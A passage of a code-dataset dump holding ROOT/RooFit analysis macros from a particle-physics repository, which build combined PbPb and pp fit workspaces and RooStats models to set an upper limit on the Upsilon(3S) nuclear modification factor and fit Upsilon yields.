RooAddPdf *sig1S = ws->pdf(\"cbcb\");\n RooAddPdf *sig2S = ws->pdf(\"sig2S\");\n RooAddPdf *sig3S = ws->pdf(\"sig3S\");\n RooAddPdf *pdf_combinedbkgd = ws->pdf(\"bkgPdf\");\n RooRealVar *nsig1f = ws->var(\"N_{#Upsilon(1S)}\");\n RooRealVar *nsig2f = ws->var(\"N_{#Upsilon(2S)}\");\n RooRealVar *nsig3f = ws->var(\"N_{#Upsilon(3S)}\");\n RooRealVar *nbkgd = ws->var(\"n_{Bkgd}\");\n // RooRealVar *x3raw = new RooRealVar(\"x3raw\",\"x3raw\",7e-4,-10,10);\n // RooRealVar *nsig3f_pp = ws_pp->var(\"N_{#Upsilon(3S)}\"); nsig3f_pp->SetName(\"N_{#Upsilon(3S)}_pp\");\n // RooFormulaVar *nsig3f_new = new RooFormulaVar(\"N_{#Upsilon(3S)}\",\"@0*@1\",RooArgList(*nsig3f_pp,*x3raw));\n\n RooAbsPdf *pdf_new = new RooAddPdf (\"pdf\",\"new total p.d.f.\",\n RooArgList(*sig1S,*sig2S,*sig3S,*pdf_combinedbkgd),\n RooArgList(*nsig1f,*nsig2f,*nsig3f,*nbkgd));\n\twcombo->import(*pdf_new, RooFit::RenameAllNodes(\"hi\"),\n\t\t\tRooFit::RenameAllVariablesExcept(\"hi\", \n\t\t\t\t\"npow,invariantMass,\"\n\t\t\t\t//\"prior,\"\n\t\t\t\t//\"mean,\"\n\t\t\t\t//\"turnOn,\"\n // \"f23,f3o2,\"\n\t\t\t\t\"x23,x3o2,\"\n\t\t\t\t\"alpha,\"\n\t\t\t\t\"sigma1,\"\n \"x3raw,N_{#Upsilon(3S)}_pp\"\n\t\t\t\t), \n\t\t\tRooFit::RecycleConflictNodes());\n wcombo->Print();\n RooSimultaneous* simPdf = buildSimPdf(*wcombo,dataCat);\n wcombo->Print();\n\n // not sure this is really needed since we will fit again in the later workspace creation\n RooFitResult* fit_2nd;// fit results\n fit_2nd = simPdf->fitTo(data_combo,\n // RooFit::Constrained(),\n RooFit::Save(kTRUE),\n RooFit::Extended(kTRUE),\n RooFit::Minos(kTRUE),\n RooFit::NumCPU(25));\n\n\n // fix all other variables in model:\n // everything except observables, POI, and nuisance parameters\n // must be constant\n wcombo->var(\"#alpha_{CB}_hi\")->setConstant(true);\n wcombo->var(\"#alpha_{CB}_pp\")->setConstant(true);\n wcombo->var(\"#sigma_{CB1}_hi\")->setConstant(true);\n wcombo->var(\"#sigma_{CB1}_pp\")->setConstant(true);\n wcombo->var(\"#sigma_{CB2}/#sigma_{CB1}_hi\")->setConstant(true);\n wcombo->var(\"#sigma_{CB2}/#sigma_{CB1}_pp\")->setConstant(true);\n wcombo->var(\"N_{#Upsilon(1S)}_hi\")->setConstant(true);\n wcombo->var(\"N_{#Upsilon(1S)}_pp\")->setConstant(true);\n wcombo->var(\"N_{#Upsilon(2S)}_hi\")->setConstant(true);\n wcombo->var(\"N_{#Upsilon(2S)}_pp\")->setConstant(true);\n wcombo->var(\"N_{#Upsilon(3S)}_pp\")->setConstant(true);\n wcombo->var(\"decay_hi\")->setConstant(true);\n wcombo->var(\"decay_pp\")->setConstant(true);\n wcombo->var(\"mass1S_hi\")->setConstant(true);\n wcombo->var(\"mass1S_pp\")->setConstant(true);\n wcombo->var(\"n_{Bkgd}_hi\")->setConstant(true);\n wcombo->var(\"n_{Bkgd}_pp\")->setConstant(true);\n wcombo->var(\"npow\")->setConstant(true);\n wcombo->var(\"sigmaFraction_hi\")->setConstant(true);\n wcombo->var(\"sigmaFraction_pp\")->setConstant(true);\n wcombo->var(\"turnOn_hi\")->setConstant(true);\n wcombo->var(\"turnOn_pp\")->setConstant(true);\n wcombo->var(\"width_hi\")->setConstant(true);\n wcombo->var(\"width_pp\")->setConstant(true);\n\n // wcombo->writeToFile(\"fitresult_combo.root\");\n return wcombo;\n}\n" }, { "alpha_fraction": 0.5969424247741699, "alphanum_fraction": 0.6123599410057068, "avg_line_length": 41.0517692565918, "blob_id": "181cd81688c8dd8209a03c0960315a404c0eeb8a", "content_id": "9adb1f687aa22195d7190fa2facd7ed21b3871b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 15437, "license_type": "no_license", "max_line_length": 147, "num_lines": 367, "path": "/upperlimit/upperlimit/Raa3S_Workspace.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#ifndef __CINT__\n#include \"RooGlobalFunc.h\"\n#endif\n#include \"TCanvas.h\"\n#include \"RooWorkspace.h\"\n#include \"RooAbsReal.h\"\n#include \"RooRealVar.h\"\n#include \"RooArgSet.h\"\n#include \"RooArgList.h\"\n#include \"RooDataSet.h\"\n#include \"RooPlot.h\"\n#include \"RooStats/BayesianCalculator.h\"\n#include \"RooStats/ModelConfig.h\"\n#include \"RooStats/SimpleInterval.h\"\n#include \"TAxis.h\"\n#include <iostream>\n#include <TString.h>\n#include <TH1F.h>\n#include <TTree.h>\n#include <TFile.h>\n#include <TChain.h>\n#include <TNtuple.h>\n#include <TLegend.h>\n#include <TCanvas.h>\n#include <TLine.h>\n#include <TROOT.h>\n#include <fstream>\n#include <TGraph.h>\n#include \"TMath.h\"\n#include \"TF1.h\"\n\n#include \"test_combine.C\"\n\nusing namespace RooFit;\nusing namespace RooStats;\n\nvoid Raa3S_Workspace(const char* name_pbpb=\"fitresult.root\", const char* name_pp=\"fitresult_pp.root\", const char* name_out=\"fitresult_combo.root\"){\n\n // TFile File(filename);\n\n RooWorkspace * ws = test_combine(name_pbpb, name_pp);\n // File.GetObject(\"wcombo\", ws);\n // ws->Print();\n RooAbsData * data = ws->data(\"data\");\n\n // RooDataSet * US_data = (RooDataSet*) data->reduce( \"QQsign == QQsign::PlusMinus\");\n // US_data->SetName(\"US_data\");\n // ws->import(* US_data);\n // RooDataSet * hi_data = (RooDataSet*) US_data->reduce(\"dataCat == dataCat::hi\");\n // hi_data->SetName(\"hi_data\");\n // ws->import(* hi_data);\n // hi_data->Print();\n\n RooRealVar* raa3 = new RooRealVar(\"raa3\",\"R_{AA}(#Upsilon (3S))\",0.5,-1,1);\n RooRealVar* leftEdge = new RooRealVar(\"leftEdge\",\"leftEdge\",0);\n RooRealVar* rightEdge = new RooRealVar(\"rightEdge\",\"rightEdge\",1);\n RooGenericPdf step(\"step\", \"step\", \"(@0 >= @1) && (@0 < @2)\", RooArgList(*raa3, *leftEdge, *rightEdge));\n ws->import(step);\n ws->factory( \"Uniform::flat(raa3)\" );\n\n //pp Luminosities, Taa and efficiency ratios Systematics\n\n ws->factory( \"Taa_hi[5.662e-9]\" );\n ws->factory( \"Taa_kappa[1.062]\" ); // was 1.057\n ws->factory( \"expr::alpha_Taa('pow(Taa_kappa,beta_Taa)',Taa_kappa,beta_Taa[0,-5,5])\" );\n ws->factory( \"prod::Taa_nom(Taa_hi,alpha_Taa)\" );\n ws->factory( \"Gaussian::constr_Taa(beta_Taa,glob_Taa[0,-5,5],1)\" );\n\n ws->factory( \"lumipp_hi[5.4]\" );\n ws->factory( \"lumipp_kappa[1.037]\" ); // was 1.06\n ws->factory( \"expr::alpha_lumipp('pow(lumipp_kappa,beta_lumipp)',lumipp_kappa,beta_lumipp[0,-5,5])\" );\n ws->factory( \"prod::lumipp_nom(lumipp_hi,alpha_lumipp)\" );\n ws->factory( \"Gaussian::constr_lumipp(beta_lumipp,glob_lumipp[0,-5,5],1)\" );\n\n // ws->factory( \"effRat1[1]\" );\n // ws->factory( \"effRat2[1]\" );\n ws->factory( \"effRat3_hi[0.95]\" );\n ws->factory( \"effRat_kappa[1.054]\" );\n ws->factory( \"expr::alpha_effRat('pow(effRat_kappa,beta_effRat)',effRat_kappa,beta_effRat[0,-5,5])\" );\n // ws->factory( \"prod::effRat1_nom(effRat1_hi,alpha_effRat)\" );\n ws->factory( \"Gaussian::constr_effRat(beta_effRat,glob_effRat[0,-5,5],1)\" );\n // ws->factory( \"prod::effRat2_nom(effRat2_hi,alpha_effRat)\" );\n ws->factory( \"prod::effRat3_nom(effRat3_hi,alpha_effRat)\" );\n // \n ws->factory(\"Nmb_hi[1.161e9]\");\n ws->factory(\"prod::denominator(Taa_nom,Nmb_hi)\");\n ws->factory( \"expr::lumiOverTaaNmbmodified('lumipp_nom/denominator',lumipp_nom,denominator)\");\n RooFormulaVar *lumiOverTaaNmbmodified = ws->function(\"lumiOverTaaNmbmodified\");\n // \n // RooRealVar *raa1 = ws->var(\"raa1\");\n // RooRealVar* nsig1_pp = ws->var(\"nsig1_pp\");\n // RooRealVar* effRat1 = ws->function(\"effRat1_nom\");\n // RooRealVar *raa2 = ws->var(\"raa2\");\n // RooRealVar* nsig2_pp = ws->var(\"nsig2_pp\");\n // RooRealVar* effRat2 = ws->function(\"effRat2_nom\");\n RooRealVar* nsig3_pp = ws->var(\"N_{#Upsilon(3S)}_pp\");\n cout << nsig3_pp << endl;\n RooRealVar* effRat3 = ws->function(\"effRat3_nom\");\n // \n // RooFormulaVar nsig1_hi_modified(\"nsig1_hi_modified\", \"@0*@1*@3/@2\", RooArgList(*raa1, *nsig1_pp, *lumiOverTaaNmbmodified, *effRat1));\n // ws->import(nsig1_hi_modified);\n // RooFormulaVar nsig2_hi_modified(\"nsig2_hi_modified\", \"@0*@1*@3/@2\", RooArgList(*raa2, *nsig2_pp, *lumiOverTaaNmbmodified, *effRat2));\n // ws->import(nsig2_hi_modified);\n RooFormulaVar nsig3_hi_modified(\"nsig3_hi_modified\", \"@0*@1*@3/@2\", RooArgList(*raa3, *nsig3_pp, *lumiOverTaaNmbmodified, *effRat3));\n ws->import(nsig3_hi_modified);\n\n // // background yield with systematics\n ws->factory( \"nbkg_hi_kappa[1.10]\" );\n ws->factory( \"expr::alpha_nbkg_hi('pow(nbkg_hi_kappa,beta_nbkg_hi)',nbkg_hi_kappa,beta_nbkg_hi[0,-5,5])\" );\n ws->factory( \"SUM::nbkg_hi_nom(alpha_nbkg_hi*bkgPdf_hi)\" );\n ws->factory( \"Gaussian::constr_nbkg_hi(beta_nbkg_hi,glob_nbkg_hi[0,-5,5],1)\" );\n RooAbsPdf* sig1S_hi = ws->pdf(\"cbcb_hi\");\n RooAbsPdf* sig2S_hi = ws->pdf(\"sig2S_hi\");\n RooAbsPdf* sig3S_hi = ws->pdf(\"sig3S_hi\");\n RooAbsPdf* LSBackground_hi = ws->pdf(\"nbkg_hi_nom\");\n RooRealVar* nsig1_hi = ws->var(\"N_{#Upsilon(1S)}_hi\");\n RooRealVar* nsig2_hi = ws->var(\"N_{#Upsilon(2S)}_hi\");\n RooFormulaVar* nsig3_hi = ws->function(\"nsig3_hi_modified\");\n cout << nsig1_hi << \" \" << nsig2_hi << \" \" << nsig3_pp << endl;\n RooRealVar* norm_nbkg_hi = ws->var(\"n_{Bkgd}_hi\");\n\n RooArgList pdfs_hi( *sig1S_hi,*sig2S_hi,*sig3S_hi, *LSBackground_hi);\n RooArgList norms_hi(*nsig1_hi,*nsig2_hi,*nsig3_hi, *norm_nbkg_hi);\n\n ////////////////////////////////////////////////////////////////////////////////\n\n ws->factory( \"nbkg_pp_kappa[1.03]\" );\n ws->factory( \"expr::alpha_nbkg_pp('pow(nbkg_pp_kappa,beta_nbkg_pp)',nbkg_pp_kappa,beta_nbkg_pp[0,-5,5])\" );\n ws->factory( \"SUM::nbkg_pp_nom(alpha_nbkg_pp*bkgPdf_pp)\" );\n ws->factory( \"Gaussian::constr_nbkg_pp(beta_nbkg_pp,glob_nbkg_pp[0,-5,5],1)\" );\n RooAbsPdf* sig1S_pp = ws->pdf(\"cbcb_pp\");\n RooAbsPdf* sig2S_pp = ws->pdf(\"sig2S_pp\");\n RooAbsPdf* sig3S_pp = ws->pdf(\"sig3S_pp\");\n RooAbsPdf* LSBackground_pp = ws->pdf(\"nbkg_pp_nom\");\n RooRealVar* nsig1_pp = ws->var(\"N_{#Upsilon(1S)}_pp\");\n RooRealVar* nsig2_pp = ws->var(\"N_{#Upsilon(2S)}_pp\");\n // RooRealVar* nsig3_pp = ws->var(\"N_{#Upsilon(3S)}_pp\");\n RooRealVar* norm_nbkg_pp = ws->var(\"n_{Bkgd}_pp\");\n\n RooArgList pdfs_pp( *sig1S_pp,*sig2S_pp,*sig3S_pp, *LSBackground_pp);\n RooArgList norms_pp( *nsig1_pp,*nsig2_pp,*nsig3_pp,*norm_nbkg_pp);\n\n RooAddPdf model_num(\"model_num\", \"model_num\", pdfs_hi,norms_hi); \n ws->import(model_num);\n ws->factory(\"PROD::model_hi(model_num, constr_nbkg_hi,constr_lumipp,constr_Taa,constr_effRat)\");\n\n RooAddPdf model_den(\"model_den\", \"model_den\", pdfs_pp,norms_pp); \n ws->import(model_den);\n ws->factory(\"PROD::model_pp(model_den, constr_nbkg_pp)\");\n\n ws->factory(\"SIMUL::joint(dataCat,hi=model_hi,pp=model_pp)\");\n\n\n\n /////////////////////////////////////////////////////////////////////\n RooRealVar * pObs = ws->var(\"invariantMass\"); // get the pointer to the observable\n RooArgSet obs(\"observables\");\n obs.add(*pObs);\n obs.add( *ws->cat(\"dataCat\")); \n // /////////////////////////////////////////////////////////////////////\n ws->var(\"glob_lumipp\")->setConstant(true);\n ws->var(\"glob_Taa\")->setConstant(true);\n ws->var(\"glob_effRat\")->setConstant(true);\n ws->var(\"glob_nbkg_pp\")->setConstant(true);\n ws->var(\"glob_nbkg_hi\")->setConstant(true);\n RooArgSet globalObs(\"global_obs\");\n globalObs.add( *ws->var(\"glob_lumipp\") );\n globalObs.add( *ws->var(\"glob_Taa\") );\n globalObs.add( *ws->var(\"glob_effRat\") );\n globalObs.add( *ws->var(\"glob_nbkg_hi\") );\n globalObs.add( *ws->var(\"glob_nbkg_pp\") );\n\n // ws->Print();\n\n RooArgSet poi(\"poi\");\n poi.add( *ws->var(\"raa3\") );\n\n\n\n // create set of nuisance parameters\n RooArgSet nuis(\"nuis\");\n nuis.add( *ws->var(\"beta_lumipp\") );\n nuis.add( *ws->var(\"beta_nbkg_hi\") );\n nuis.add( *ws->var(\"beta_nbkg_pp\") );\n nuis.add( *ws->var(\"beta_Taa\") );\n nuis.add( *ws->var(\"beta_effRat\") );\n\n ws->var(\"#alpha_{CB}_hi\")->setConstant(true);\n ws->var(\"#alpha_{CB}_pp\")->setConstant(true);\n ws->var(\"#sigma_{CB1}_hi\")->setConstant(true);\n ws->var(\"#sigma_{CB1}_pp\")->setConstant(true);\n ws->var(\"#sigma_{CB2}/#sigma_{CB1}_hi\")->setConstant(true);\n ws->var(\"#sigma_{CB2}/#sigma_{CB1}_pp\")->setConstant(true);\n ws->var(\"Centrality\")->setConstant(true);\n ws->var(\"N_{#Upsilon(1S)}_hi\")->setConstant(true);\n ws->var(\"N_{#Upsilon(1S)}_pp\")->setConstant(true);\n ws->var(\"N_{#Upsilon(2S)}_hi\")->setConstant(true);\n ws->var(\"N_{#Upsilon(2S)}_pp\")->setConstant(true);\n ws->var(\"N_{#Upsilon(3S)}_pp\")->setConstant(true);\n ws->var(\"Nmb_hi\")->setConstant(true);\n // ws->var(\"QQsign\")->setConstant(true);\n ws->var(\"Taa_hi\")->setConstant(true);\n ws->var(\"Taa_kappa\")->setConstant(true);\n // ws->var(\"beta_Taa\")->setConstant(true);\n // ws->var(\"beta_effRat\")->setConstant(true);\n // ws->var(\"beta_lumipp\")->setConstant(true);\n // ws->var(\"beta_nbkg_hi\")->setConstant(true);\n // ws->var(\"beta_nbkg_pp\")->setConstant(true);\n // ws->var(\"dataCat\")->setConstant(true);\n ws->var(\"decay_hi\")->setConstant(true);\n ws->var(\"decay_pp\")->setConstant(true);\n ws->var(\"effRat3_hi\")->setConstant(true);\n ws->var(\"effRat_kappa\")->setConstant(true);\n // ws->var(\"glob_Taa\")->setConstant(true);\n // ws->var(\"glob_effRat\")->setConstant(true);\n // ws->var(\"glob_lumipp\")->setConstant(true);\n // ws->var(\"glob_nbkg_hi\")->setConstant(true);\n // ws->var(\"glob_nbkg_pp\")->setConstant(true);\n // ws->var(\"invariantMass\")->setConstant(true);\n ws->var(\"leftEdge\")->setConstant(true);\n ws->var(\"lumipp_hi\")->setConstant(true);\n ws->var(\"lumipp_kappa\")->setConstant(true);\n ws->var(\"mass1S_hi\")->setConstant(true);\n ws->var(\"mass1S_pp\")->setConstant(true);\n ws->var(\"muMinusPt\")->setConstant(true);\n ws->var(\"muPlusPt\")->setConstant(true);\n ws->var(\"n_{Bkgd}_hi\")->setConstant(true);\n ws->var(\"n_{Bkgd}_pp\")->setConstant(true);\n ws->var(\"nbkg_hi_kappa\")->setConstant(true);\n ws->var(\"nbkg_pp_kappa\")->setConstant(true);\n ws->var(\"npow\")->setConstant(true);\n // ws->var(\"raa3\")->setConstant(true);\n ws->var(\"rightEdge\")->setConstant(true);\n ws->var(\"sigmaFraction_hi\")->setConstant(true);\n ws->var(\"sigmaFraction_pp\")->setConstant(true);\n ws->var(\"turnOn_hi\")->setConstant(true);\n ws->var(\"turnOn_pp\")->setConstant(true);\n ws->var(\"upsPt\")->setConstant(true);\n ws->var(\"upsRapidity\")->setConstant(true);\n ws->var(\"vProb\")->setConstant(true);\n ws->var(\"width_hi\")->setConstant(true);\n ws->var(\"width_pp\")->setConstant(true);\n // ws->var(\"x3raw\")->setConstant(true);\n // RooArgSet fixed_again(\"fixed_again\");\n // fixed_again.add( *ws->var(\"leftEdge\") );\n // fixed_again.add( *ws->var(\"rightEdge\") );\n // fixed_again.add( *ws->var(\"Taa_hi\") );\n // fixed_again.add( *ws->var(\"Nmb_hi\") );\n // fixed_again.add( *ws->var(\"lumipp_hi\") );\n // fixed_again.add( *ws->var(\"effRat1_hi\") );\n // fixed_again.add( *ws->var(\"effRat2_hi\") );\n // fixed_again.add( *ws->var(\"effRat3_hi\") );\n // fixed_again.add( *ws->var(\"nsig3_pp\") );\n // fixed_again.add( *ws->var(\"nsig1_pp\") );\n // fixed_again.add( *ws->var(\"nbkg_hi\") );\n // fixed_again.add( *ws->var(\"alpha\") );\n // fixed_again.add( *ws->var(\"nbkg_kappa\") );\n // fixed_again.add( *ws->var(\"Taa_kappa\") );\n // fixed_again.add( *ws->var(\"lumipp_kappa\") );\n // fixed_again.add( *ws->var(\"mean_hi\") );\n // fixed_again.add( *ws->var(\"mean_pp\") );\n // fixed_again.add( *ws->var(\"width_hi\") );\n // fixed_again.add( *ws->var(\"turnOn_hi\") );\n // fixed_again.add( *ws->var(\"bkg_a1_pp\") );\n // fixed_again.add( *ws->var(\"bkg_a2_pp\") );\n // fixed_again.add( *ws->var(\"decay_hi\") );\n // fixed_again.add( *ws->var(\"raa1\") );\n // fixed_again.add( *ws->var(\"raa2\") );\n // fixed_again.add( *ws->var(\"nsig2_pp\") );\n // fixed_again.add( *ws->var(\"sigma1\") );\n // fixed_again.add( *ws->var(\"nbkg_pp\") );\n // fixed_again.add( *ws->var(\"npow\") );\n // fixed_again.add( *ws->var(\"muPlusPt\") );\n // fixed_again.add( *ws->var(\"muMinusPt\") );\n // fixed_again.add( *ws->var(\"mscale_hi\") );\n // fixed_again.add( *ws->var(\"mscale_pp\") );\n // \n // ws->Print();\n\n // create signal+background Model Config\n RooStats::ModelConfig sbHypo(\"SbHypo\");\n sbHypo.SetWorkspace( *ws );\n sbHypo.SetPdf( *ws->pdf(\"joint\") );\n sbHypo.SetObservables( obs );\n sbHypo.SetGlobalObservables( globalObs );\n sbHypo.SetParametersOfInterest( poi );\n sbHypo.SetNuisanceParameters( nuis );\n sbHypo.SetPriorPdf( *ws->pdf(\"step\") ); // this is optional\n\n // ws->Print();\n /////////////////////////////////////////////////////////////////////\n RooAbsReal * pNll = sbHypo.GetPdf()->createNLL( *data,NumCPU(2) );\n RooMinuit(*pNll).migrad(); // minimize likelihood wrt all parameters before making plots\n RooPlot *framepoi = ((RooRealVar *)poi.first())->frame(Bins(10),Range(0.,0.2),Title(\"LL and profileLL in raa3\"));\n pNll->plotOn(framepoi,ShiftToZero());\n \n RooAbsReal * pProfile = pNll->createProfile( globalObs ); // do not profile global observables\n pProfile->getVal(); // this will do fit and set POI and nuisance parameters to fitted values\n pProfile->plotOn(framepoi,LineColor(kRed));\n framepoi->SetMinimum(0);\n framepoi->SetMaximum(3);\n TCanvas *cpoi = new TCanvas();\n cpoi->cd(); framepoi->Draw();\n cpoi->SaveAs(\"cpoi.pdf\");\n\n ((RooRealVar *)poi.first())->setMin(0.);\n RooArgSet * pPoiAndNuisance = new RooArgSet(\"poiAndNuisance\");\n // pPoiAndNuisance->add(*sbHypo.GetNuisanceParameters());\n // pPoiAndNuisance->add(*sbHypo.GetParametersOfInterest());\n pPoiAndNuisance->add( nuis );\n pPoiAndNuisance->add( poi );\n sbHypo.SetSnapshot(*pPoiAndNuisance);\n\n RooPlot* xframeSB = pObs->frame(Title(\"SBhypo\"));\n data->plotOn(xframeSB,Cut(\"dataCat==dataCat::hi\"));\n RooAbsPdf *pdfSB = sbHypo.GetPdf();\n RooCategory *dataCat = ws->cat(\"dataCat\");\n pdfSB->plotOn(xframeSB,Slice(*dataCat,\"hi\"),ProjWData(*dataCat,*data));\n TCanvas *c1 = new TCanvas();\n c1->cd(); xframeSB->Draw();\n c1->SaveAs(\"c1.pdf\");\n\n delete pProfile;\n delete pNll;\n delete pPoiAndNuisance;\n ws->import( sbHypo );\n /////////////////////////////////////////////////////////////////////\n RooStats::ModelConfig bHypo = sbHypo;\n bHypo.SetName(\"BHypo\");\n bHypo.SetWorkspace(*ws);\n pNll = bHypo.GetPdf()->createNLL( *data,NumCPU(2) );\n RooArgSet poiAndGlobalObs(\"poiAndGlobalObs\");\n poiAndGlobalObs.add( poi );\n poiAndGlobalObs.add( globalObs );\n pProfile = pNll->createProfile( poiAndGlobalObs ); // do not profile POI and global observables\n ((RooRealVar *)poi.first())->setVal( 0 ); // set raa3=0 here\n pProfile->getVal(); // this will do fit and set nuisance parameters to profiled values\n pPoiAndNuisance = new RooArgSet( \"poiAndNuisance\" );\n pPoiAndNuisance->add( nuis );\n pPoiAndNuisance->add( poi );\n bHypo.SetSnapshot(*pPoiAndNuisance);\n\n RooPlot* xframeB = pObs->frame(Title(\"Bhypo\"));\n data->plotOn(xframeB,Cut(\"dataCat==dataCat::hi\"));\n RooAbsPdf *pdfB = bHypo.GetPdf();\n pdfB->plotOn(xframeB,Slice(*dataCat,\"hi\"),ProjWData(*dataCat,*data));\n TCanvas *c2 = new TCanvas();\n c2->cd(); xframeB->Draw();\n c2->SaveAs(\"c2.pdf\");\n\n delete pProfile;\n delete pNll;\n delete pPoiAndNuisance;\n\n // import model config into workspace\n bHypo.SetWorkspace(*ws);\n ws->import( bHypo );\n /////////////////////////////////////////////////////////////////////\n ws->Print();\n bHypo.Print();\n sbHypo.Print();\n\n // save workspace to file\n ws -> SaveAs(name_out);\n\n return;\n}\n\n\n\n\n" }, { "alpha_fraction": 0.6631256937980652, "alphanum_fraction": 0.682279109954834, "avg_line_length": 35.541175842285156, "blob_id": "49236f6e0d90ebf431592af5472253789cbcf4ca", "content_id": "e67e8c66cebb4b6c909132aceff90ac1a5c26001", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6213, "license_type": "no_license", "max_line_length": 293, "num_lines": 170, "path": "/fitting/fitUpsilonYields.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#ifndef __CINT__\n#include \"RooGlobalFunc.h\"\n#endif\n\n//RooFit Stuff\n#include \"RooAbsPdf.h\"\n#include \"RooAddPdf.h\"\n#include \"RooCBShape.h\"\n#include \"RooChebychev.h\"\n#include \"RooConstVar.h\"\n#include \"RooDataSet.h\"\n#include \"RooFitResult.h\"\n#include \"RooGaussian.h\"\n#include \"RooGenericPdf.h\"\n#include \"RooHist.h\"\n#include \"RooHistPdf.h\"\n#include \"RooDataHist.h\"\n#include \"RooKeysPdf.h\"\n#include \"RooProdPdf.h\"\n#include \"RooMCStudy.h\"\n#include \"RooPolynomial.h\"\n#include \"RooRealVar.h\"\n#include \"RooPlot.h\"\n#include \"RooWorkspace.h\"\n#include \"RooChi2Var.h\"\n//RooStats\n#include \"RooStats/ModelConfig.h\"\n#include \"RooStats/ProfileLikelihoodCalculator.h\"\n#include \"RooStats/LikelihoodInterval.h\"\n#include \"RooStats/LikelihoodIntervalPlot.h\"\n//fitUpsilonYields package\n#include \"makeWorkspace.C\"\n#include \"buildModel.C\"\n//#include \"whatBin.C\"\n#include \"fitAndDraw.C\"\n#include \"allFunctions.h\"\n// Root stuff\n#include \"TROOT.h\"\n#include \"TAxis.h\"\n#include \"TCanvas.h\"\n#include \"TDirectory.h\"\n#include \"TFile.h\"\n#include \"TLatex.h\"\n\n#include \"TMath.h\"\n#include \"TPaveLabel.h\"\n#include \"TPaveText.h\"\n#include \"TStyle.h\"\n#include \"TText.h\"\n\n//bkgtable\n#define nData 9\n#include \"bkgTable.h\"\n#include \"dataTable.h\"\n// miscellaneous \n#include <fstream>\n#include <new>\n#include <iostream>\n\n\n\n\n// -------- make some local picks\nconst bool doMinos = 1; //kFALSE;\nusing namespace std;\nusing namespace ROOT;\nusing namespace RooFit;\nusing namespace RooStats;\npair<double, double> ConfidencInterval(float, RooRealVar *fnll, RooDataSet *data, RooAbsPdf *pdf);\n//\nvoid fitUpsilonYields(int ChooseSample =6, \n\t\t int bkgModel=3, \n\t\t int fsr=1,\n\t\t int useRef =2,//1: data-driven, 0: none fixed, 2: FSR from MC(standard case in 15-001)\n\t\t int whatBin =0,\n\t\t int doRap=0,\n\t\t int doPt=0,\n\t\t float muonPtCut1=3.5,\n\t\t float muonPtCut2 = 4, \n\t\t float muonEtaMin =-2.4,\n\t\t float muonEtaMax =2.4,\n\t\t float upsRapStart = 0.0, // it's the absolute value (default) for y bins are symmetric in pp and pbpb.. must be over-ridden in pPb...\n\t\t float upsRapEnd = 2.4,\n\t\t float upsPtStart = 0,\n\t\t float upsPtEnd = 40,\n\t\t int upsCentralityStart = 0,\n\t\t int upsCentralityEnd =40,\n\t\t int signalModel = 4,\n\t\t TString outDatDir = \"txtOutput\",// dats dir outfile location\n\t\t TString outFigDir = \"pdfOutput\",\n\t\t const char* ChooseSampleCase = \"pbpb\",\n\t\t const char* outFilePrefix = \"yields\", // yields, ratios\n\t\t int ChooseFitParams = 0\n\t\t ){\n cout << \"welcome to FitUpsilonYields!\"<<endl;\n gROOT->Macro(\"~/Project/ups2013/code/cm/logon.C+\");\n // Create a workspace named 'w' that exports its contents to a same-name C++ namespace in CINT 'namespace w' !!!\n // THIS FEATURE is _CINT_ only, don't try to compile this code.\n RooWorkspace* _ws = new RooWorkspace(\"_ws\",kTRUE);\n int doCent=0; if(ChooseSample==8){fsr=0;}\n if(doPt==0 && doRap==0) doCent=1; \n //make the workspace where the job will be contained.\n makeWorkspace(*_ws,ChooseSample, muonEtaMin, muonEtaMax, muonPtCut1,muonPtCut2, upsRapStart, upsRapEnd, upsPtStart, upsPtEnd,upsCentralityStart,upsCentralityEnd);\n RooDataSet* data0_fit =(RooDataSet*) _ws::data; // Use the name space prefix operator to access the workspace contents\n // data0_fit->Print(); // to check it worked.\n buildModel(*_ws,ChooseFitParams,ChooseSample,whatBin,signalModel,bkgModel,doRap,doPt,doCent,useRef,muonPtCut1,fsr); // builds the pdf and imports it to the rooworkspace\n // _ws->Print(); //still checkin it worked.\n // RooFitResult* fitObject = _ws::pdf.fitTo(*data0_fit); // Fit gets into action.\n //_ws::pdf.Print(\"v\");\n // write out the fitting params\n int centMin =2.5*upsCentralityStart;\n int centMax =2.5*upsCentralityEnd;\n\n TString figName_(Form(\"%s_%s_fsr%d\",ChooseSampleCase,outFilePrefix,fsr));\n // TString figName_(Form(\"%s_%s_cent%d%d_bkgModel%d_muonEta%.2f%.2f_muonPt%.2f-%.2f_dimuPt%.2f%.2f_dimuY%.2f%.2f_%d_ref%d_mass8p511p5\",outFilePrefix,ChooseSampleCase,centMin,centMax,bkgModel,muonEtaMin,muonEtaMax,muonPtCut1,muonPtCut2,upsPtStart,upsPtEnd,upsRapStart,upsRapEnd,fsr,useRef));\n figName_.ReplaceAll(\"-\",\"M\");\n figName_.ReplaceAll(\".\",\"\");\n fitAndDraw(*_ws,ChooseSample,figName_,outDatDir,outFigDir,ChooseFitParams,bkgModel,muonPtCut1,muonPtCut2,centMin,centMax,upsPtStart,upsPtEnd,upsRapStart,upsRapEnd,doRap,doPt,doCent); \n}\n\n//_______________________________________________________________________\ndouble computeSingle(RooRealVar& x, RooRealVar& y) \n{\n // pass the 1S(x) and xS/1S(y) ratios and calcualte the xS yield\n return x.getVal() * y.getVal();\n}\n\n\ndouble computeSingleError(RooRealVar& x, RooRealVar& y, double correlation ) \n{\n // pass the 1S(x) and xS/1S(y) ratios and calcualte the xS yield error\n \n double err2 = (x.getError()*x.getError())/(x.getVal()*x.getVal()) \n + (y.getError()*y.getError())/(y.getVal()*y.getVal()) \n + 2.*(x.getError()*y.getError())/(x.getVal()*y.getVal())*correlation;\n \n return fabs(computeSingle(x,y))*sqrt(err2);\n}\n\n\n//_______________________________________________________________________\n\n\n//calculate the confidence interval with RooStats\npair<double, double> ConfidencInterval(float CI, RooRealVar *fnll, RooDataSet *data, RooAbsPdf *pdf) { \n\tProfileLikelihoodCalculator pl(*data,*pdf,*fnll);\n\tpl.SetConfidenceLevel(CI); \n\tint ci = 100*CI;\n\tLikelihoodInterval* interval = pl.GetInterval();\n\tLikelihoodIntervalPlot plot(interval);\n\tTCanvas c4; c4.cd(); \n\tplot.SetRange(0.,3.,-.05,0.5);\n\tplot.Draw();\n\tTLatex 